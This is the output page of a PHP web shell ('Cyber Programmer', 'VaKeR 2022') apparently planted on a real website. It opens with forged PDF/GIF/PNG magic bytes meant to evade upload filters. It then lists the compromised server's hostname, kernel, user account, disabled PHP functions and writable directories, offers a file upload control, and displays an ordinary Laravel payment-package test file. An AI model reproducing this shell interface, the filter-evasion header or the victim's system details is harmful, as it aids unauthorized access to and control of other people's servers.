%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/kingflamez/laravelrave/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/kingflamez/laravelrave/tests/TestCase.php
<?php

namespace Tests;

use Mockery;
use Orchestra\Testbench\TestCase as BaseTestCase;
use phpDocumentor\Reflection\Types\Void_;

abstract class TestCase extends BaseTestCase {

    public $m;

    protected $envVars;

    protected $data;

    protected $formData;

    function setUp () : void {

        $this->m = new Mockery;

        $this->envVars = (array) include __DIR__ . "/Stubs/env.php";

        $this->data = (array) include __DIR__ . "/Stubs/request_data.php";

        $this->formData = $this->data["form"];

        parent::setUp();
    }

    /**
     * Clear mockery after every test in preparation for a new mock.
     *
     * @return void
     */
    function tearDown() : void {

        $this->m->close();

        parent::tearDown();
    }

    /**
     * Register package.
     *
     * @param  \Illuminate\Foundation\Application  $app
     * @return array      Packages to register
     */
    protected function getPackageProviders($app)
    {
        return [ "\KingFlamez\Rave\RaveServiceProvider" ];
    }

    /**
     * Get alias packages from app.
     *
     * @param  \illuminate\Foundation\Application $app
     * @return array      Aliases.
     */
    protected function getPackageAliases($app)
    {
        return [
            "Rave" => "\KingFlamez\Rave\Facades\Rave"
        ];
    }

    /**
     * Configure Environment.
     *
     * @param  \Illuminate\Foundation\Application  $app
     * @return void
     */
    protected function getEnvironmentSetUp($app)
    {
        array_walk($this->envVars, function ($value, $key) use (&$app) {

            $app["config"]->set("flutterwave.{$key}", $value);
        });
    }
}

VaKeR 2022